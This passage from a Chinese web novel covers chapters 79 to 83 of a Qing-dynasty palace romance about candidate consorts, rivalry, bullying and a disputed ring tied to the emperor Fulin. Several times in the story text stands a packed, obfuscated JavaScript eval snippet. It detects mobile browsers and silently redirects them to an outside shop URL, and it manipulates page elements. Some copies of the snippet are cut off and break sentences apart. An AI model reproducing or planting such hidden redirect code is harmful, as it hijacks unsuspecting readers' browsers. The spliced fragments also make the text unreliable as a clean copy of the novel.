董浣浣想不明白,到底是谁这么心急连到选秀那天都等不了,非要在这时候把石小睕推出来,搅乱本应平静的储秀宫。 是石家还是福临,亦或者是其他什么人,而他做这一切的目的又是什么呢? 还有一个让董浣浣更担心的问题是万一这幕后之人不是福临也不是石家,那么他所做的这一样到底是冲着石小睕去的,还是冲着福临去的? 如果是冲着石小睕去的还好,毕竟是在她眼皮子地下,她还能有所照拂,如果是冲着福临去的那她该怎么办啊? “浣浣,你怎么了”,赫舍里.青柠看董浣浣听完她所带来的爆炸性消息,居然没有给她任何反应,眼睛直勾勾的在那里发呆,遂伸手在她眼前晃了晃,语带疑惑的嘀咕,“难道是被我说的话给吓傻了?” 董浣浣回过神来,抓住赫舍里.青柠的手,神情认真的说道,“这消息你是听谁说的,消息来源可靠吗,妄议皇家之事,是会被杀头的……” 赫舍里.青柠刚要开口,就被陈珺娅给打断了,她边说边放下手中的书,转过身来,“到现在还在问消息来源可不可靠,董鄂.浣浣,你到底是有多笨,她一个汉人能够破格参选秀女就足以说明问题了,你是不是傻?” 陈珺娅的话音刚落,董浣浣还没来得及开口,赫舍里.青柠就替她怼回去了,“对,人家都笨,就你聪明,你这么聪明,皇上怎么没有提前选中你当皇后呢!” 陈珺娅被赫舍里.青柠给怼的满脸通红,指着赫舍里.青柠,半天憋出来一个“你……”。 赫舍里.青柠看向她,“你什么你,我们和你说话了吗,我们聊的好好的,你插什么嘴!” 陈珺娅被怼的一时间接不上话来,两眼一红的拂面跑出去了。 董浣浣被赫舍里.青柠的这一番操作给秀到了,直女怼绿茶这感觉就是舒服,董浣浣虽然心里有些暗爽,可是又害怕赫舍里.青柠搂不住再引火烧身惹出什么什么祸事来,就像上次她给齐天大魔头取外号被罚去浣衣局洗衣服,青柠非得给她出头和齐天大魔头杠,结果就被罚着和她一起去浣衣局洗衣服了,董浣浣为她感到不值为什么非要替她出头强行给齐天大魔头送人头,和人家说下次再遇到这样的情况,就别掺和进来和她一起受罚了,结果人家非说不,偏要和她一起,在浣衣局洗了两天的衣服还洗的很高兴。 有背景的人就是任性,董浣浣拿她也没有办法,就只能尽量再规矩一些,别让她跟着自己一起受罪,后来在其他秀女眼中她们自然就被绑定在一起了,得罪董浣浣就相当于得罪董鄂家与赫舍里家,除了陈珺娅这个看似聪明实则无脑的家伙敢惹她,其他人对她都是忌惮三分的。 董浣浣有时候也不是很明白,她何德何能让一个姑娘这样为她两肋插刀,更不明白自己到底是做了什么让赫舍里.青柠对她产生了如此大的误解,让她以为自己是个人人都能来欺负一脚的软包子。 难道仅仅是因为她忍了陈珺娅那微不足道的挑衅吗? 如果是这样,那误会可太大了,她之所以忍陈珺娅的挑衅,完全是因为她不想制造摩擦,引起别人不必要的关注罢了,要是在以前,她非得怼得陈珺娅找不到妈。 不过事情既然已经到了这个地步,董浣浣也不是个不知好歹的人,虽然她与赫舍里.青柠绑定这事并非她所愿,不过既然人家对她好,保护了她,她自然也要投桃报李,以真心待之,虽然为了自保以及保护福临,不能告诉她全部的真相,但是最基本的劝解董浣浣还是能做的很好的,“来,来,来,坐下,消消气,她就是这样的性格,我们何必和她一般见识呢。” 赫舍里.青柠一边顺着她的意思坐下,一边说道,“我就看不惯她欺负你的那副样子,你就是太好说话,她才敢一直欺负你,你说你一个堂堂董鄂家的小姐,怕她一个汉军旗的丫头作甚。” “是,是,是,青柠小姐教训的是,我以后一定改,”,董浣浣边说边递给赫舍里.青柠一杯茶,“说了这么多,口渴了吧,来,来,来,喝杯水消消气。” 赫舍里.青柠接过她递过来的水,喝了一口后,看了她一眼,恨铁不成钢的接着说道,“你这样一味的迁就于她,她还以为你好欺负呢,然后变本加厉欺负你,时间久了,大家有样学样,你不得被她们欺负死。” 董浣浣闻言立即伏低做小,伸出三根手指头,“我保证我以后一定改,绝对不再让陈珺娅骑到我头上来,再说了,” ,董浣浣揽住赫舍里.青柠的胳膊接着说道,“有你罩着我,她们也不敢欺负我啊。” 赫舍里.青柠听到她这话,从鼻子里哼了一声,嘴硬道,“你不要什么时候都指望我,我又不能时时刻刻在你身边,你要学会独立”,但是心里却被董浣浣的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她还以为这个消息目前是赫舍里氏等一些和皇室比较密切的人才知道的消息,至少还可以苟一段时间才能被众人所知,没想到已经传到了人人皆知的地步了。 “哎,哎,哎,”赫舍里.青柠在董浣浣的眼前又晃了晃手,“怎么又愣住了、、、、、、” 董浣浣回过神来,“没事,就是觉得石小睕有点可怜。” 赫舍里.青柠听到她这样说,一副不敢苟同的样子,用手指指了指董浣浣的脑门,“她可怜,我现在居然有点同意刚刚陈珺娅说的话了,你是不是傻了,人家是被内定为妃的人,有什么可怜的。” 董浣浣抬起头看向赫舍里青柠,然后说道:“内定为妃就不可怜吗,来这里学习的人,有多少个是不被内定为妃的,大家都心知肚明,只有她一个人在这个时候被推出来,成为众人的眼中钉,肉中刺,更何况她的身份本就敏感,如今的情形对她来说更像是在火上浇油。” 听到董浣浣这样说,赫舍里.青柠有些疑惑,“你很同情她吗?” 董浣浣点头,“嗯,有点。” 赫舍里闻言,不自觉的附和着她的话,“是啊,这么说她是挺可怜的。” 嗯,石小睕真的好可怜,董浣浣在心里又认证了一遍,可是明明都知道石小睕那么可怜了,她的心里为什么还会忍不住嫉妒和羡慕她呢? 80. 交易 董浣浣觉得自己就是一个奇怪而复杂的矛盾体。 一方面会因为石小睕被推出来集火而同情她,一方面又会因为石小睕的名字可以和福临的名字光明正大的被谈及而羡慕她。 同情却又羡慕,这复杂的情感,简直就像神经病。 女人就是矫情,华妃娘娘诚不欺我,就连我自己的都不能例外,董浣浣无奈的笑了。 其实冷静下来想想,无论石小睕是不是被内定为妃,她自是都不会怀疑她与福临之间的感情,即使石小睕真的被内定为妃,也不会影响她接下来的出逃计划。 只是让她难过的是,她永远做不到控制住自己的这颗心,明明知道他是皇帝,他的后宫将来会有很多很多的皇妃,明明她都已经做好了离开他的准备,明明在他们之间已经有了一个孟古青的存在让她早早的认清了现实,可是她还是会不开心,还是会心怀期待,希望福临只是她一个人的。 赫舍里.青柠看到董浣浣这副失魂落魄的样子,拍了拍她的肩膀说道,“你没事吧?” 感受到了来自于赫舍里.青柠的担心,董浣浣努力的撑起一个笑容看向赫舍里.青柠,“我没事啊。” “那我们到底要不要帮她啊”,赫舍里.青柠又问。 董浣浣闻言,深吸了一口气,说道:“当然帮了,毕竟我们现在住在一起,这关乎到我们的脸面,别人欺负她也就是在打我们的脸。” 赫舍里.青柠点头表示认同,“你说的对。” 乾清宫。 福临坐在榻上正在一本一本耐心的审批着奏折,最近选秀女以及弹劾多尔衮之事致使奏折堆积如山,让他颇为头疼。 窗外雨声阵阵,屋内茶香袅袅,石小睕站在殿下低着头,小心翼翼的用余光看向榻上的那个正在聚精会神批阅奏折的高高在上的男人。 这还是第一次,她可以这么近距离的观察他工作时候的样子,比她想象中的更令人着迷。 记忆里这个男人一共就去过他们家三次,前两次她甚至都没有见到过他。 石小睕也不知道自己到底是从什么时候开始,让这个高高在上的男人住进了她的心里。 大概是从懂事开始,父亲每天的念叨,嘴里全是对他的欣赏与赞美,少年帝王,有勇有谋,卧薪尝胆,他日定当有所作为。石小睕不知道父亲口中的他日,是不是就是指的今日,只知道自己也许就在父亲这每天每天的熏陶中,将那颗喜欢他的种子种进了心里,直到入宫前,在家里无意间瞥见了他,这颗种子便开始生根发芽,然后彻底住进了她的心里。 石小睕在心里暗暗的描画着这男人的模样,秀眉清目,挺鼻薄唇,一身俊秀之色,即使没有皇帝这个明晃晃的背景衬托,他也是个难得的,万里挑一的男人,这样的男人真的很难让人不倾心于他。 那天她躲在门后,听到父亲与他的谈话,明着是让她进宫参与选秀学习将来入宫做皇家内眷,实则则是去为另一个女人铺路,做替死鬼挡箭牌,吸引各方的注意。 按理说,听到这些她应该是愤怒的,不甘的,可是那天这些情绪都没有在她的心里浮现,取而代之的是一种羡慕和开心。 羡慕的,自然是那个能够让他这样费经心思护在身后的女人。开心的,自然是虽然形式不太好,但是自己终于有机会站在他的身边,毕竟如果不是为了那个女人,以她汉家女的身份,自然是没有任何可能站在他的身边的。 是犯贱吗? 她不知道。 总之大家都得偿所愿了,不是吗? 这样挺好。 在储秀宫的这些天,每当夜深人静的时候,石小睕就在想,到底是个什么样的女人,能够让他这么心心念念像宝贝一样稀世珍宝一样保护的密不透风,她在脑中来来回回的筛选了无数遍每个秀女的样子,然后又都被她一一否决。 那个女人就在这些秀女当中,这是她唯一能猜到的信息。 其实她想找到那个女人并非出于什么恶意,她只是想在这段短暂的相处时间去观察一下这个女人身上到底有什么魔力可以让这个男人对她死心塌地。 正当石小睕还欲往下想之际,福临的声音传来打断了她的思绪,“科考诸事就麻烦石大人你和其他几位大人了。” 石申闻言回道,“皇上您言重了,为朝廷办事是微臣的福分,何谈辛苦。” 福临闻言没有说话,只是点了点头。 在他们俩谈话之际,石小睕理了理心神,强迫自己把注意力集中起来,不要胡思乱想。 又过了一会儿,福临的声音再度传来:“最后再给你一次选择的机会,你若不愿意,那些谣言朕自会帮你处理干净,然后把你送出宫去。” 石小睕闻言刚想回话,话把就被父亲接了过去,“能够为皇上效力,是小女的福气,没有什么后悔不后悔的”,石申说道。 石小睕很识时务的闭上了嘴。 石申说完,福临并没有给出任何反应,继续低头翻阅他的奏折,一时间整个屋子都沉浸在一片诡异的寂静里。 许久,福临抬起看向石小睕才道,“想清楚了吗,这件事毕竟事关石小姐的终身,还请务必考虑清楚。” 他的这一眼正好与石小睕偷偷看过去的余光撞个正着,让石小睕的心里不由得一震。 既然偷看依然被发现,那就勇敢的为自己博一次吧,石小睕鼓足了十二分的勇气抬起头来,迎向他的目光。 看到石小睕看他,他的眼神也并未回避,两人就这样静静的对视着。 此刻这个男人的眼睛里,有威严,有询问,黑洞洞的仿佛深不见底般,却不带有一丝柔情,只肖这一眼,石小睕便深知,这双眼睛永远都不可能逗留在她的身上,此刻她最好的选择便是答应他的提议,顺势离开皇宫,然后有多远躲多远,可是不知道为什么,这双不带有一丝情愫的眼睛,此刻对她却有着一种罂粟般的蛊惑,让她明知道前路泥泞,却甘愿深陷其中无法自拔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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里面躺着的是一个色泽鲜红的琥珀戒指,戒指上面有个偌大的“目”字。 联系一下之前关于皇上戒指的传闻,石小睕就一切就都明白了。 时间过得很快,已是傍晚十分,下了一天雨的雨也终于停了。 石小睕回到储秀宫自己的房间,从进门开始,就觉得每个人看她的眼神都怪怪的,便已经心中有数了。 随手关上门,走到自己的床前坐下,也不急着开口,反正她们这里有个急性子,肯定会先忍不住开口问她。 果然,还没等她坐稳,就有人憋不住了,只不过这个人她以为会是赫舍里.青柠,结果居然是陈珺娅更耐不住性子。 只见陈珺娅站起身来,一句话也没说,“砰”的一声摔门而出。 石小睕笑,无能者的狂怒,此刻也只能拿门撒撒气了。 这一天在没有人开口挑破这层窗户纸中平静的度过了。 81. 霸凌 石小睕是皇上心里的女人,这个消息已经成为储秀宫公开的秘密了,只不过大家都心照不宣的选择了绝口不提这件事。 不提是不提,但是既然得到了这所谓的偏爱,也注定要付出相应的代价。 拉拢的,挑衅的,各种事情层出不穷。 宫内宫外,无论是秀女还是皇亲贵胄们似乎都开始动了起来。 本来只是小打小闹的储秀宫渐渐的开始暗流涌动起来。 就连朝堂上都不可避免,各种弹劾的奏章此起彼伏,总归是一句话,在我们满人的天下里,绝对不允许有汉家女。不过福临像是吃了秤砣铁了心似的,无论大臣们怎么弹劾,就是不松口,一时间无论是朝堂还是后宫都怨声载道。 “今天的第三波了,因为某些人我们这屋真是蓬荜生辉啊!”,石小睕刚把门关上,陈珺娅的讥笑声就出来了。 石小睕暗笑,还知道等别人走了再开口,也真是难为她了。 对于此等低劣的挑衅,石小睕的应对方法就是充耳不闻,权当是没听见。 “还是真是一人得道鸡犬升天啊!”,看石小睕没有理她,陈珺娅又忍不住说了一句。 结果还是没人理她。 有些人天生就有主角梦,喜欢大家都围着她转的感觉,容不得别人忽视她,生平最讨厌演独角戏,陈珺娅恰好就是这类人中的一个。 看到自己被忽视,陈珺娅气不过,感觉丢了面子,于是转头看向董浣浣,阴阳怪气的说道,“董鄂.浣浣你说对不对啊?” 董浣浣正在走神,听到自己的名字条件的应声道,“你说什么?” 陈珺娅听到董浣浣这样说,面子更加挂不住了,冲着董浣浣发脾气道,“什么,什么,就会问什么,你是傻的吗,整天活的云里雾里的为什么不去当尼姑,干嘛还来选秀女!” 陈珺娅的话音刚落,还没等董浣浣反驳,一直坐在一边不说话的赫舍里.青柠坐不住了,“我说你这个人是不是有毛病,嫉妒别人就直接说,干嘛找其他人撒气,还鸡犬升天,你是鸡是狗,你要做鸡做狗都没人拦着你,但请你别拉上我们!” 陈珺娅被赫舍里.青柠噎得一时间哑口无言。 董浣浣听到她们两个的对话,把注意力从石小睕的手上转移到当下。 她今天心情很不好,正好没地方发泄,现在既然有人送上门来不用白不用。 本来觉得她们年纪都小,不和她们一般见识,睁一只眼闭一只眼得过且过算了,这次陈珺娅真的是触碰到她的底线了,老虎不发威,你真的把我当hellokitty了。 董浣浣从床上下来,走到陈珺娅面前,就算是为了赫舍里.青柠不用总是帮她收拾颜面,董浣浣觉得还是一次解决所有问题比较好。 陈珺娅有些紧张,此刻董鄂.浣浣就站在她的面前,表情严肃,浑身散发着一股她形容不了的冷气,眼睛直勾勾的看着她不说话,陈珺娅还是第一次看到董鄂.浣浣这幅模样,一时间被唬得说不出话来。 许久,董浣浣抬起手冲着她的头伸过来,她以为董浣浣想要打她,惯性的撇开头,结果董浣浣只是从她头上取下来一粒不知道什么时候掉落在她头上的芝麻粒,然后拉住她的手,把她的手掌摊开,再然后把芝麻放进她的手里,合上她的手,做完这一切之后,当她正要松口气的时候,董浣浣骤然把脸移到了她的眼前,一字一顿的说道,“别把我的谦让当软弱,这是最后一次,听懂了吗?” 陈珺娅被她的眼神吓到了,不由自主的点了点头,小声的应道,“我听懂了。” “听懂了就好”,董浣浣挪开脸,伸手帮她拍了拍肩膀上的灰尘,然后站起身走回到自己的位置。 赫舍里.青柠看到这一幕忍不住的在心里替董浣浣拍手叫好,早就该这样了,什么样身份的人就该做什么样身份的事,说了她几百遍就是不听,让一个汉军旗的丫头骑在头上这么久,要是早这样做,不就早就清静了,而坐在一边的石小睕看到这一幕却有着不一样的想法、、、、、、 董鄂.浣浣似乎没有她想象中的那么简单。 在石小睕研究董浣浣的同时,董浣浣也在暗中的观察她手上带着的戒指。 红色玛瑙戒指,除了质地不同,无论从色泽还是款式上都和福临送给她的那款极其相似,最重要的是这枚戒指上刻着一个“目”字,和福临戒指上的“完”字加起来就是她名字的“睕”,和她的戒指上的三点水有着异曲同工之意,甚至解释下来比她的三点水更合理。 福临的戒指是从她进宫那天就开始带着,全宫上下几乎无人不知,刚刚石小睕把这戒指带上董浣浣便注意到了,既然她注意到了,别人很快也会注意到,让董浣浣搞不清楚的是,这戒指石小睕是从哪里弄来的,碰瓷福临是石小睕自己的主意,还是其他什么人的主意?而且这戒指一旦带出去,势必会引起更大的血雨腥风,石小睕做好之后的应对了吗,她到底要不要提醒石小睕? 石小睕看见董浣浣一直盯着她手上的戒指看,心中有些了然,冲着董浣浣开口询问道,“你一直这样盯着我看,是有什么问题吗?” 石小睕一开口,剩下的两人也循声望过来,不约而同的顺着董浣浣的目光看到了石小睕手上的戒指…… 被点名的董浣浣有些勉强的开口,“你的戒指……” 石小睕闻言晃了晃另一只手上的翡翠戒指问道,“怎么了吗?” 董浣浣看她这样做便知道了她的态度,默默的把想要说的话咽了下去,算了,反正这事无论她说还是不说,都不会有任何改变,“没事……” 石小睕大拇指转动了一下带在手上的玛瑙戒指,说道,“没事就好,我先休息了。”,说完便开始收拾梳洗了。 其他三人也很有默契没有挑明,各忙各的了。 次日,果然如董浣浣所料,情况变得更加棘手了。 如果说之前都是些捕风捉影的谣言,那么现在就是有真真切切的实证证明之前的谣言都是真的。 储秀宫里的人也开始行动起来,之前只是在语言上进行拉拢和挑衅,现在已经转变为肢体上的拉拢和挑衅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815906|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫外和前朝是个什么情况董浣浣不知道,不过通过储秀宫内部的变化也可以略知一二。 虽然齐一秋一早就进行了训诫,不要恶意诋毁排挤其他人,被她发现了会给予重罚,可是总归还是有她看不到的时候,什么早上集合的时候趁着人多故意伸出脚去绊倒石小睕,中午大家吃饭的时候故意把汤撒到石小睕的身上等等幼稚而可笑的挑衅,石小睕都一一忍了下来,一个这样做没事,大家便开始有样学样的在教官看不到的地方偷偷的针对起她来。 人就是这样,遇到不公就要反抗,当你选择默默忍受的时候,只会让施暴者觉得你柔弱可欺,更加的肆无忌惮。 见到此情景,董浣浣一次次的想要站起身去阻止,都被待在她旁边的赫舍里.青柠给按住了,“你和人家不一样,记住人家说的话,人家不需要你狗拿耗子多管闲事,有这份同情心还是替你父母还有宗族多考虑考虑吧。” 听到赫舍里.青柠这样说,董浣浣愣住了,想起了早上石小睕说的那些话。 早上梳洗完之后,大家正准备开门出去,石小睕喊了声,“等一下。” 三人闻言,脚步一顿,转头看向她,石小睕举起带着玛瑙戒指的手,“虽然可能你们昨天就已经发现了,但是我想了一下,还是有必要和你们说一声,这个戒指就和你们想的一样。” 三人闻言面面相觑,一时间不知道该怎么开口,石小睕见他们都不开口,便默认她们已经足够的了解情况了,便接着说道,“情况就是这么个情况,以后大路朝天我们各走一边,我走我的阳关道,你们过你们的独木桥,咱们井水不犯河水,大家各凭本事度日。这些天谢谢你们对我的照顾,以后我的事情我自己会处理,你们不必插手了。” 说完便开门头也不回的出去了。 看到石小睕这个样子,赫舍里.青柠指着石小睕的背影,气得直跺脚,“你站住,你说这话什么意思,是嫌我们之前多管闲事了,你给我说清楚”,董浣浣看到她这么暴躁,害怕再闹出什么事情来,赶忙拉住她。 赫舍里.青柠气急,想要挣开董浣浣的钳制,挣了两次没有挣开,转头看向董浣浣,“看到了没有,看到了没有,这就是一直享受着你的帮助的人,翻脸不认人的嘴脸,拜托你以后不要枉做好人,离她远一点。” 石小睕和赫舍里.青柠早上的话言犹在耳,可是面对这种集体霸凌,董浣浣又做不到视而不见。 董浣浣努力的尝试了好几遍从赫舍里.青柠手中拽出自己的胳膊,都失败了。 看样子青柠这是打死也不让她掺和进去了,董浣浣无奈的放弃了挣扎,抬眼看向刚刚被泼了一身水的石小睕的方向,发现此刻石小睕也在看着她们。 她的这个眼神是董浣浣从来没有从她那里看到过的眼神,有鄙夷,有不屑,甚至还有一股杀气。 董浣浣从中读到了一句话:少管我的事! 董浣浣被她的眼神吓到了,立刻收回了目光。 此刻董浣浣清楚的认识到,这个女孩绝对没有她想象中的那么柔弱不能自理。 82. 受伤 董浣浣不明白,这群女孩都疯了吗? 明明已经知道石小睕是皇上内定的皇妃了,为什么还这么肆无忌惮的霸凌她呢,就不怕有朝一日她做了皇妃秋后算账吗? 还有石小睕,董浣浣也真是佩服她,明明整天这样被针对,她还可以像没事儿人一样,该吃吃该喝喝,没有一丝不满或者委屈的情绪,就像这些不公之事全都不曾发生在她身上一样淡定。 她越是这样,欺负她的人得不到满足就越是变本加厉,事情也越来越不可控起来。 最终被翻到了明面上。 这天,大家吃完晚饭,一起往房间里走,石小睕一个人走在前面,董浣浣和赫舍里.青柠走在后面,在快要到房间门口的时候,一声清脆的巴掌声传来,所有人都愣住了。 事情发生的太突然了,当董浣浣反应过来的时候,石小睕已经摔在地上,手捂着脸,眼含泪光的看向施暴者。 发难者是隔壁屋子里的钮祜禄.亦凝。 此刻钮祜禄.亦凝叉着腰,指着摔在地上的石小睕说道,“你这个小偷,快把东西还给我!” 钮祜禄氏,这个姓氏董浣浣很熟,毕竟她也是看过《甄嬛传》的人儿。 钮祜禄.亦凝虽然没有甄嬛的那种本事,但是身为开国五大臣,钮祜禄.额一都的孙女,她背后的家族势力也是不可小觑的。 董浣浣曾经和赫舍里.青柠打听过她的身份,赫舍里.青柠的原话是,如果说她赫舍里.青柠可以在储秀宫目不斜视的走,那么以钮祜禄.亦凝的身份就可以做到在储秀宫里横着走。 经过和钮祜禄.亦凝相处的这一段时间,董浣浣可以确定她和赫舍里.青柠一样是个没什么心机的直肠子,之前欺负石小睕的事情她也都没有参与。 如今她公然发难,一定是收到了什么消息,董浣浣想,依她的家庭背景被选为皇妃那是顺理成章的事情,她没有必要这样多此一举给自己树立一个敌人,更何况石小睕身为吏部尚书之女再怎么也不会干出偷东西这等下三滥之事,这其中一定有阴谋,到底是谁想要借刀杀人,利用钮祜禄.亦凝的手除掉石小睕,或者是想要一箭双雕? 可是不管怎样,这样公开的甩人巴掌,让人当众难堪就是不对的,董浣浣走上前,蹲下身去扶起摔在地上的石小睕,“你说她是小偷,她偷什么了,有什么问题就提出来,大家一起想办法解决就好了,再怎么说也不能一言不合就打人啊。” “她偷我什么了,你问问她偷我什么了?”,钮祜禄.亦凝趾高气昂的说道。 董浣浣闻言,低头看向怀里的石小睕,只见她梨花带雨的一脸无措的摇摇头,“没,没,我没有偷任何人的东西。” 看到如此柔弱的石小睕,董浣浣一时间有些恍惚,脑子里浮现出那天在饭堂石小睕看她的眼神与此刻的她简直是判若两人,到底哪个才是真正的她,不过现在不是想这些的时候,“看,她都说了,没有偷任何人的东西,是误会一场,大家有话好好说,怎么能随便动手打人呢。” 钮祜禄.亦凝听到董浣浣这样说,有些恼,口气不善的说道:“她说没偷就没偷,这是什么道理,你都没问问我丢的是什么,就那么轻易的相信她的话了,你该不会是和她一伙儿的吧,最起码也该让我进去搜一搜吧。” 搜,肯定是不能搜的,既然钮祜禄.亦凝这样公开发难,那么无论她丢的是什么,那东西此刻也定会出现在与石小睕相关的任何一个地方,只要搜了,就是罪名坐实了,如今最好的办法就是将祸水引到她身上来转移注意力,这一个办法了。 “一伙儿的?”,董浣浣嗤笑了一下,“小小年纪也真是会联想,也不怕闪了脑子。” 这小姑娘也真是太不知好歹了,明明她打人有错在先,自己这是在帮她,这件事情闹大了,她总归是讨不到便宜的。本来想给她个台阶下的,结果人家居然还不想要,真是狗咬吕洞宾,不识好人心。 钮祜禄.亦凝听到她这样说,立刻炸了毛,“董鄂.浣浣你说谁呢?” 董浣浣扶起石小睕,连个眼神也没给她,没有好气的回答道,“谁接话,就说谁呗。” 钮祜禄.亦凝听到她这样说更恼了,便要上前和董浣浣好好理论理论。 赫舍里.青柠见状气急,董鄂.浣浣这个家伙真是太爱管闲事了,一眼没看住她就走到旋涡里了,不过此时说什么也晚了,也只能硬着头皮,帮她打圆场了,“这其中一定有什么误会,有什么话,大家好好说”,赫舍里.青柠拉住钮祜禄.亦凝的手说道。 见赫舍里.青柠都开口了,钮祜禄.亦凝也不得不给她这个面子,“既然赫舍里都这样说了,你”,钮祜禄.亦凝指着石小睕接着说道,“把我的戒指还给我,这件事就一笔勾销了。” “戒指,什么戒指?”,石小睕一脸不明所以的小声的开口问道。 “都说一笔勾销了,你还想怎样,装什么傻呀,你手上的戒指是我的,你还想戴多久?”,钮祜禄.亦凝有些不耐烦的说道。 此言一出,在场的所有人都愣住了,不约而同的看向石小睕的手。 此刻她的两只手上,只戴了那只传闻中和皇上的戒指是一对儿的玛瑙戒指。 戒指是钮祜禄.亦凝的,这是什么意思? 大家都懵了,一时间都不知道该作何举动。 董浣浣下意识的摸了一下脖子上的吊坠。 “你胡说,这戒指是我的,一直是我的,你不能抢走我的!”,石小睕一把擦干脸上的泪水,离开董浣浣的搀扶向前一步,走到钮祜禄.亦凝面前和她理论道。 对,就是这样,她忍了这么久就是为了这一刻,钮祜禄.亦凝你闹吧,闹得越大越好,你越闹我的筹码越多,他就会对我约有恻隐之心。 “什么你的,你能说出来这戒指是从哪里来的吗?”,钮祜禄.亦凝听到石小睕的,回呛道。 石小睕被她的问题问住了,一时间不知道该如何作答,她总不能回答钮祜禄.亦凝,说这个戒指是那人给她的吧。那人虽然说让她替他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赫舍里.青柠赶忙跑到董浣浣跟前蹲下,一边观察着董浣浣的情况,一边冲着其他人发火道,“闹啊,接着闹啊,怎么不闹了,现在满意了吧!”,众人被她吼得皆低下头去,不敢说话了。 赫舍里.青柠慌忙的摇摇她,喊了喊她的名字,看她没有反应,又赶忙掐了掐她的人中,依然没有反应,随即冲着众人喊道,“都还愣着干嘛,赶紧去叫人去啊!” 在一群人的慌乱声中,钮祜禄.亦凝和石小睕两相对望,石小睕本能的用手捂住了戒指,两人你看看我,我看看你,被无情的遗忘在角落里了,有些尴尬又有些无聊,也实在是提不起来争抢戒指的兴致了。 不一会儿,齐一秋带着太医便赶了过来。 看着被抬走的董浣浣,钮祜禄.亦凝心里有些内疚,其实她也不明白父亲为什么会派人来通知她搞出这样一场闹剧,现在闹剧收场了,那父亲答应她的条件应该也快能兑现了吧。 石小睕望着众人离去的背影在想,遇到董鄂.浣浣到底是她人之幸事,还是人之不幸,如果是以前她真的是很愿意结交一个这样的朋友,如今这个局面她却不知道该如何是好,不管是有意也好,无意也罢,这个女人成功的搅乱了她所有的计划,让她这么多天的隐忍和委屈都付诸东流了,成功的让众人的视线都集中到她的身上,然后在那人眼前狠狠的刷了一波存在感。 83. 养伤 不知道睡了多久的董浣浣,从床上睁开眼睛,只觉得整个头懵懵的还有些疼,然后后知后觉的想起来她是撞到门昏过去了,也不知道石小睕和钮祜禄.亦凝她们两个现在怎么样了。 嘶…… 一用脑,头似乎更疼了。 算了,反正她现在躺在这里什么也做不了,不想那么多了,等赫舍里.青柠回来了,向她打听清楚情况再做打算也不迟,现在她的口有些渴,还是先起身喝点水吧。 她刚一起身,躺在床边握着她手的福临就被惊醒了。 看到她醒了,福临赶忙坐起身来问道,“怎么样,头还不舒服吗,有没有想要吐,还有没有哪里不舒服,一边问她,一边转身宣召候在门外的太医,“太医……” 董浣浣这才发现,她身边还坐着一个人,脑袋里警铃大作,完蛋了了完蛋了,他这么堂而皇之的坐在她的床边大喊太医,那不是全都露馅了,在福临还没有惊动外面的人的时候,董浣浣眼疾手快的捂住了他的嘴。 那声太医,还没刚出声就被董浣浣捂回了福临的嘴里。 福临看到她一副紧张兮兮的样子,很是安分的任由她捂着,并且配合着她闭上了嘴,两只眼睛噙着笑意,滴溜溜的在她的脸上打转。 自从知道他的身份之后,这还是她第一次这么主动靠近他,这种难得的机会,他自是不会煞风景的去破坏。 “你怎么在这里?”,董浣浣一脸警惕的问,两只眼睛快速的在室内环顾了一下,又改成,“我这是在哪里?” 福临伸出手轻轻的碰了碰董浣浣捂住他嘴的那只手,董浣浣立即心领神会的松开了手。 “你先告诉我,你的头还疼吗,还有没有哪里觉得不舒服,我再回答你的问题。”,福临不答反问,态度耐心又温柔。 董浣浣闻言抬起手来摸了摸自己头上的绷带,然后不小心碰到了伤口,“嘶”,嘴里不自觉的抽了口凉气。 福临见状,赶忙拿下她乱摸的手,“不要乱摸,万一感染了怎么办,你哪里疼,告诉我就好。” 董浣浣听他这样说,反而有些心虚,这种感觉怎么像是她做错了事一样,不过想想之前答应他的事,她也确实是做错了。 算了,管不了那么多了,还是先安抚好他的情绪比较重要,“你放心吧,没那么严重,只要不碰它就不疼”,董浣浣的话没说完,自己又有些担心起来,“我会不会毁容啊?” 还有时间担心自己会不会毁容,看来是没什么大问题,福临听她这样说才放下心来,安慰她道,“放心吧,已经问过太医了,你头上只是轻微的擦伤,这些天不要沾水,过个三五天就好了,不会毁容的。” “哦”,董浣浣拍了拍胸脯,不会毁容就好,不会毁容就好。 “那其他人怎么样了?”,董浣浣又问。 福临抬眼看她,“你是想问昨天打架的那两个女孩吧?” 这种心虚的感觉怎么又来了,董浣浣点了点头,然后彻底低下头去不敢看他了。 福临叹气,心里有些恼,“这个时候居然还有闲心担心别人,”可还是一五一十的解答了她的问题,“她们都没事,只是看到你这样,受了点惊吓而已,让齐一秋罚去浣衣局洗衣服了。” “那赫舍里.青柠呢和其他秀女们呢?”,董浣浣又问。 福临耐着性子接着回答道,“她们也没事”。 “没事儿就好,没事儿就好,”,真好,大家都没事,董浣浣安心了。 然而福临却爆发了,“你问了始作俑者,问了赫舍里.青柠,甚至连和你不相关的其他秀女也问了,却独独没有问我好不好……” 董浣浣听他这样说下意识的接嘴道,“那你好不好?” 